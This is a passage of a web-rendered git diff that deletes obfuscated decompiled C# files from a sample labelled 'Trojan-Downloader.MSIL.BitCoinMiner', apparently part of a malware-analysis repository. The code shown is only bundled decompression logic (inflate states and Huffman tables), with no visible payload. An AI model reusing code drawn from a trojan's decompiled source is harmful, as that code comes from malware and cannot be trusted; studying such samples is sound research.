if (num2 < 0)
|
||||
return false;
|
||||
this.\u0014.\u0014\u0003(16);
|
||||
if (num2 != (this.\u000F ^ (int) ushort.MaxValue))
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(3503));
|
||||
this.\u0005 = 5;
|
||||
goto case 5;
|
||||
case 5:
|
||||
this.\u000F -= this.\u0015.\u001D\u0003(this.\u0014, this.\u000F);
|
||||
if (this.\u000F != 0)
|
||||
return !this.\u0014.\u0018\u0003();
|
||||
this.\u0005 = 2;
|
||||
return true;
|
||||
case 6:
|
||||
if (!this.\u0016.\u0011\u0003(this.\u0014))
|
||||
return false;
|
||||
this.\u0017 = this.\u0016.\u0082\u0003();
|
||||
this.\u0018 = this.\u0016.\u0083\u0003();
|
||||
this.\u0005 = 7;
|
||||
goto case 7;
|
||||
case 7:
|
||||
case 8:
|
||||
case 9:
|
||||
case 10:
|
||||
return this.\u0010\u0003();
|
||||
case 11:
|
||||
return this.\u008A\u0004();
|
||||
case 12:
|
||||
return false;
|
||||
default:
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(3540));
|
||||
}
|
||||
}
|
||||
|
||||
public void \u001A\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
this.\u0014.\u001A\u0003(obj0, obj1, obj2);
|
||||
this.\u0012 += (long) obj2;
|
||||
}
|
||||
|
||||
public int \u0012\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
|
||||
if (obj2 < 0)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(3581));
|
||||
if (obj1 < 0)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(3614));
|
||||
if (obj1 + obj2 > obj0.Length)
|
||||
throw new ArgumentException(\u0008.\u000E\u0003(3651));
|
||||
if (obj2 == 0)
|
||||
{
|
||||
if (!this.\u008C\u0004())
|
||||
this.\u0011\u0003();
|
||||
return 0;
|
||||
}
|
||||
int num1 = 0;
|
||||
do
|
||||
{
|
||||
if (this.\u0005 != 11)
|
||||
{
|
||||
int num2 = this.\u0015.\u007F\u0003(obj0, obj1, obj2);
|
||||
if (num2 > 0)
|
||||
{
|
||||
this.\u0019.\u0089\u0003(obj0, obj1, num2);
|
||||
obj1 += num2;
|
||||
num1 += num2;
|
||||
this.\u0011 += (long) num2;
|
||||
obj2 -= num2;
|
||||
if (obj2 == 0)
|
||||
return num1;
|
||||
}
|
||||
}
|
||||
}
|
||||
while (this.\u0011\u0003() || this.\u0015.\u001F\u0003() > 0 && this.\u0005 != 11);
|
||||
return num1;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public bool \u0018\u0003() => this.\u0014.\u0018\u0003();
|
||||
|
||||
[SpecialName]
|
||||
public bool \u008B\u0004() => this.\u0005 == 1 && this.\u0007 == 0;
|
||||
|
||||
[SpecialName]
|
||||
public bool \u008C\u0004() => this.\u0005 == 12 && this.\u0015.\u001F\u0003() == 0;
|
||||
}
|
||||
}
|
||||
@ -1,155 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u000E\u0002;
|
||||
using \u0017\u0002;
|
||||
using ICSharpCode.SharpZipLib;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0017\u0002
|
||||
{
|
||||
internal sealed class \u0016
|
||||
{
|
||||
private short[] \u0001;
|
||||
public static \u0016 \u0002;
|
||||
public static \u0016 \u0003;
|
||||
|
||||
static \u0016()
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] numArray1 = new byte[288];
|
||||
int num1 = 0;
|
||||
while (num1 < 144)
|
||||
numArray1[num1++] = (byte) 8;
|
||||
while (num1 < 256)
|
||||
numArray1[num1++] = (byte) 9;
|
||||
while (num1 < 280)
|
||||
numArray1[num1++] = (byte) 7;
|
||||
while (num1 < 288)
|
||||
numArray1[num1++] = (byte) 8;
|
||||
\u0016.\u0002 = new \u0016(numArray1);
|
||||
byte[] numArray2 = new byte[32];
|
||||
int num2 = 0;
|
||||
while (num2 < 32)
|
||||
numArray2[num2++] = (byte) 5;
|
||||
\u0016.\u0003 = new \u0016(numArray2);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(3688));
|
||||
}
|
||||
}
|
||||
|
||||
public \u0016([In] byte[] obj0) => this.\u0080\u0003(obj0);
|
||||
|
||||
private void \u0080\u0003([In] byte[] obj0)
|
||||
{
|
||||
int[] numArray1 = new int[16];
|
||||
int[] numArray2 = new int[16];
|
||||
for (int index1 = 0; index1 < obj0.Length; ++index1)
|
||||
{
|
||||
int index2 = (int) obj0[index1];
|
||||
if (index2 > 0)
|
||||
++numArray1[index2];
|
||||
}
|
||||
int num1 = 0;
|
||||
int length = 512;
|
||||
for (int index = 1; index <= 15; ++index)
|
||||
{
|
||||
numArray2[index] = num1;
|
||||
num1 += numArray1[index] << 16 - index;
|
||||
if (index >= 10)
|
||||
{
|
||||
int num2 = numArray2[index] & 130944;
|
||||
int num3 = num1 & 130944;
|
||||
length += num3 - num2 >> 16 - index;
|
||||
}
|
||||
}
|
||||
this.\u0001 = new short[length];
|
||||
int num4 = 512;
|
||||
for (int index3 = 15; index3 >= 10; --index3)
|
||||
{
|
||||
int num5 = num1 & 130944;
|
||||
num1 -= numArray1[index3] << 16 - index3;
|
||||
for (int index4 = num1 & 130944; index4 < num5; index4 += 128)
|
||||
{
|
||||
this.\u0001[(int) \u0018.\u0084\u0003(index4)] = (short) (-num4 << 4 | index3);
|
||||
num4 += 1 << index3 - 9;
|
||||
}
|
||||
}
|
||||
for (int index5 = 0; index5 < obj0.Length; ++index5)
|
||||
{
|
||||
int index6 = (int) obj0[index5];
|
||||
if (index6 != 0)
|
||||
{
|
||||
int num6 = numArray2[index6];
|
||||
int index7 = (int) \u0018.\u0084\u0003(num6);
|
||||
if (index6 <= 9)
|
||||
{
|
||||
do
|
||||
{
|
||||
this.\u0001[index7] = (short) (index5 << 4 | index6);
|
||||
index7 += 1 << index6;
|
||||
}
|
||||
while (index7 < 512);
|
||||
}
|
||||
else
|
||||
{
|
||||
int num7 = (int) this.\u0001[index7 & 511];
|
||||
int num8 = 1 << (num7 & 15);
|
||||
int num9 = -(num7 >> 4);
|
||||
do
|
||||
{
|
||||
this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6);
|
||||
index7 += 1 << index6;
|
||||
}
|
||||
while (index7 < num8);
|
||||
}
|
||||
numArray2[index6] = num6 + (1 << 16 - index6);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public int \u0081\u0003([In] \u0014 obj0)
|
||||
{
|
||||
int index;
|
||||
if ((index = obj0.\u0013\u0003(9)) >= 0)
|
||||
{
|
||||
int num1;
|
||||
if ((num1 = (int) this.\u0001[index]) >= 0)
|
||||
{
|
||||
obj0.\u0014\u0003(num1 & 15);
|
||||
return num1 >> 4;
|
||||
}
|
||||
int num2 = -(num1 >> 4);
|
||||
int num3 = num1 & 15;
|
||||
int num4;
|
||||
if ((num4 = obj0.\u0013\u0003(num3)) >= 0)
|
||||
{
|
||||
int num5 = (int) this.\u0001[num2 | num4 >> 9];
|
||||
obj0.\u0014\u0003(num5 & 15);
|
||||
return num5 >> 4;
|
||||
}
|
||||
int num6 = obj0.\u0015\u0003();
|
||||
int num7 = obj0.\u0013\u0003(num6);
|
||||
int num8 = (int) this.\u0001[num2 | num7 >> 9];
|
||||
if ((num8 & 15) > num6)
|
||||
return -1;
|
||||
obj0.\u0014\u0003(num8 & 15);
|
||||
return num8 >> 4;
|
||||
}
|
||||
int num9 = obj0.\u0015\u0003();
|
||||
int num10 = (int) this.\u0001[obj0.\u0013\u0003(num9)];
|
||||
if (num10 < 0 || (num10 & 15) > num9)
|
||||
return -1;
|
||||
obj0.\u0014\u0003(num10 & 15);
|
||||
return num10 >> 4;
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user